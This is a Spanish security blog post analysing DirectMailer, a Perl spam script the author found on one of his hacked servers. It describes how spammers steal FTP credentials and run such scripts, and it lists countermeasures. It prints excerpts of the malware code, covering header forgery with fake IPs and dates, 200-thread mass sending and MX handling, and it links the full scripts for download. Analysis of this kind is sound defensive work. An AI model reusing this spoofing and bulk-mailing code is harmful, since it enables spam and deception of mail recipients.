Malditos Spammers

Los spamers están cada día más organizados y la verdad es que hay una verdadera mafia entorno a todo este mundillo. No es ninguna novedad esto que comento, pero la verdad es que es difícil llegar a interceptarlos dado que usan programas que se ‘autoeliminan’ una vez terminada su función.

 

La forma de trabajo de esta gente suele ser algo así:

  • Infectan equipos con troyanos, awares, virus y demás vainas (por los métodos habituales como fallos en navegadores, aceptación de activex no confiables por usuarios confiados, ejecución de programas que no son lo que parecen, etc).
  • Esos programas roban contraseñas almacenadas en los equipos, entre otras, las de acceso a servidores FTP, en el caso de que tengas una web (¡quién no tiene una web hoy en día!).
  • Teniendo el usuario FTP y el dominio, sólo queda hacer una conexión, subir un script y ejecutarlo vía web.
  • El script comienza a mandar mails a diestro y siniestro a una velocidad increíble.
  • Termina su trabajo y, en la mayoría de los casos, se autodestruye.

¡¡Cuánto daño se puede en tan sólo unos minutos!! La verdad es que los logs del sistema llegan a asustar cuando algo de esto sucede.

Consecuencias:

  • La IP de tu servidor empieza a aparecer en listas de spam, que muchas de ellas tardan 1 mes en borrarte tras enviarles la solicitud (siempre se puede tardar menos si pagas).
  • Los servidores más estrictos (como hotmail) te rechazan todos los correos hasta no estar ‘totalmente limpio’.
  • Tus clientes no pueden mandar correos y comienzan las quejas y problemas.

Soluciones:

  • Desactivar la ejecución de cgis, de perl y de PHP en aquellas cuentas que no sea estrictamente necesario.
  • Por supuesto, una buena configuración del servidor SMTP.
  • Obligar a tus clientes a cambiar las contraseñas cada X tiempo.

Haciendo limpieza en mi equipo me he encontrado con un backup que hice, hará aproximadamente un año, de unos scripts que intercepté en uno de mis servidores dedicados.

Tras abrirlo en una máquina virtual, sin acceso a Internet, podemos ver un menú (en ruso) que ofrece diferentes opciones:

Buscando información en Google acerca de DirectMailer llegamos a la página web del autor (http://www.yellsoft.net) donde venden este software por 200€ (o $240):

Usando el traductor de Google podemos ver que se trata claramente de un software orientado a envío de spam.

El autor lo describe como un software que permite envío anónimo de correos y, capaz de usar todos los recursos del hardware para realizar su fin. Además, una vez instalado, posee una interfaz gráfica para que, hasta el más lerdo pueda usarlo:

200 euros de programa para que luego me lo dejen gratis en mi servidor. ¡¡Qué detalle!!

Bueno, y ya que han sido tan amables de regalármelo, totalmente gratis, quería compartirlo con vosotros 🙂

El script principal (dm.cgi) está en Perl y podemos ver varias cosas interesantes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
my %c = (
ver   => '1.6.8',
rel   => 'u999999999999',
path  => $ENV{'SCRIPT_FILENAME'},
addr  => $ENV{'SERVER_ADDR'},
name  => $ENV{'SERVER_NAME'},
mailbase => './upload/mailbase.txt',
from  => './upload/from.txt',
replyto  => './upload/replyto.txt',
subject  => './upload/subject.txt',
letter  => './upload/letter.txt',
attach  => './upload/attach.txt',
proxy  => './upload/proxy.txt',
dns   => '194.186.45.226',
threads  => 200,
timeout  => 5,
charset  => 'koi',
mailer  => 'outlook',
priority => 'normal',
proxyer  => 10,
proxycn  => 1,
proxywr  => 1,
proxyrd  => 1,
proxyup  => 30,
ctime  => 3,
local => hostname || 'localhost',

Por un lado, tiene una serie de ficheros TXT de donde coge todos los datos que necesita:

  • mailbase.txt: es el listado de víctimas, es decir, todas las direcciones de mail a las que se va a spamear.
  • from.txt: contiene una o más direcciones de mail que aparecerán como remitente.
  • replyto.txt: donde se quiere recibir respuesta (normalmente coincide con from.txt y es alguna dirección inventada).
  • subject.txt: asunto(s) para los mails (ej: vendo viagra! Me la quitan de las manos, oiga!).
  • letter.txt: contiene la ruta al fichero con el cuerpo del mensaje.
  • attach.txt: yo no tengo ese fichero pero debe tratarse de un listado de adjuntos.
  • proxy.txt: tampoco lo tengo, pero debe ser un listado de proxys para poder spamear aún mejor.

Otra cosa que podemos ver es que usa su propio DNS y que arranca, nada menos, que 200 threads para mandar mails simultáneamente.

En los ficheros HTML que aparecen como cuerpo de mensaje podemos ver algunos mails, que seguro que a más de uno le suenan:

1
<span style="color: #8b0a50; font-size: x-small;"><b><a href="http://www.indie-g.com/po1.html">^Viagra BEST Viagra^</a></b></span>

Aquí va otro:

1
2
3
4
5
6
7
<center>
<span style="color: #8b0a50; font-size: medium;"><b><a href="http://cdl-centro.es/po1.html">***Best sex and love***</a></b></span>
</center>

Si seguimos analizando el script vemos más cosas curiosas, como la capacidad de falsear la fecha del mail, IPs, etc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$fakedate = $date if $c{'fakedate'} eq 'no';
$fromname = $replyname = $toname = '' if $c{'exctname'} eq 'no';
$header =~ s/%FAKENAME%/$fakename/;
$header =~ s/%FAKEIP%/$fakeip/;
$header =~ s/%HOST%/$host/;
$header =~ s/%DATE%/$date/;
$header =~ s/%FAKEDATE%/$fakedate/;
$header =~ s/%MESSAGE_ID%/$messageid/;
$header =~ s/%X_PRIORITYNUM%/$xprionum/;
$header =~ s/%X_PRIORITYTXT%/$xpriotxt/;
$header =~ s/%FROMNAME%/$fromname/;
$header =~ s/%FROMADDR%/$fromaddr/;
$header =~ s/%REPLY_TONAME%/$replyname/;
$header =~ s/%REPLY_TOADDR%/$replyaddr/;
$header =~ s/%TONAME%/$toname/;
$header =~ s/%TOADDR%/$toaddr/;
$header =~ s/%SUBJECT%/$subject/;
$header =~ s/%BOUNDARY%/$boundary/g;
$header =~ s/%CONTENT_TYPE%/$contenttype/;
$header =~ s/%CHARSET%/$charset/;
$header =~ s/%CONTENT_ENCODING%/$contentenc/;

Convierte en base64 los ficheros adjuntos, para mejorar el envío y obtener una mejor visualización:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
if ($message =~ /$file/ && $contenttype eq 'text/html') {
$newcid .= '_csseditor';
$message =~ s/$file/cid:$newcid/g;
$attach .= "Content-ID: <" . $newcid . ">\n";
$attach .= "Content-transfer-encoding: base64\n"; }
else {
$attach .= "Content-transfer-encoding: base64\n";
$attach .= "Content-Disposition: attachment; filename=";
$attach .= '"' . $fname . '"' . "\n"; } }
else {
$attach .= $ctype . ";\n\t";
$attach .= 'name="' . $fname . '"' . "\n";
$attach .= "Content-Transfer-Encoding: base64\n";
if ($message =~ /$file/ && $contenttype eq 'text/html') {
$newcid .= '@' . $fakename;
$message =~ s/$file/cid:$newcid/g;
$attach .= "Content-ID: <" . $newcid . ">\n"; }
else {
$attach .= "Content-Disposition: attachment;\n\t";
$attach .= 'filename="' . $fname . '"' . "\n"; } }
$attach .= "\n$files{$file}"; }

Creación aleatoria de IPs y fechas, como dije antes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sub ip
{
my @ip; for (1..4) { push (@ip, int rand 256); } @_ = ('a'..'z');
return (join ('.', @ip), join ('', @_[map { rand @_ } (0..((int rand 6) + 2))]));
}
sub date
{
my $date = localtime (time - int rand shift);
$date =~ s/^(\w+)\s+(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+(\d+)$/$1, $3 $2 $5 $4/;
my %month = (Jan=>'01',Feb=>'02',Mar=>'03',Apr=>'04',May=>'05',Jun=>'06',
Jul=>'07',Aug=>'08',Sep=>'09',Oct=>'10',Nov=>'11',Dec=>'12');
my $time = $5 . $month{$2} . (sprintf "%02d", $3) . join ('', split (':', $4));
return ("$date " . &gmtdiff, $time);
}

Todo ello sumado a un buen control de envío, discriminando los que se han conseguido mandar, los incorrectos y los que, no hubo mucha suerte:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
my ($mx, $err) = &getmx($domain);
unless ($mx)
{
&chgsta(4=>1);
&log("<$addr>\x01" . $err);
&bad($line);
next;
}
if ($mx =~ m!^\d$! && $mx == 1)
{
&chgsta(3=>1);
&log("<$addr>\x01" . $err);
&unlucky($line);
next;
}
my ($sock, $resp, $proxy);

 

En la carpeta sys nos encontramos con una colección bien estructurada de ficheros MX, para una mejor resolución de dominios:

La verdad es que merece la pena echarle un ojo a este tipo de programas ya que te das cuenta de cómo se lo curran para vendernos viagra y otros menesteres. Y es por ello que os dejo una copia de los scripts por si queréis analizarlos. Los podéis bajar aquí: spam_scripts.tar.gz

Un saludo.

Contribución por Pepelux

Fuente: SecurityByDefault

Share

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.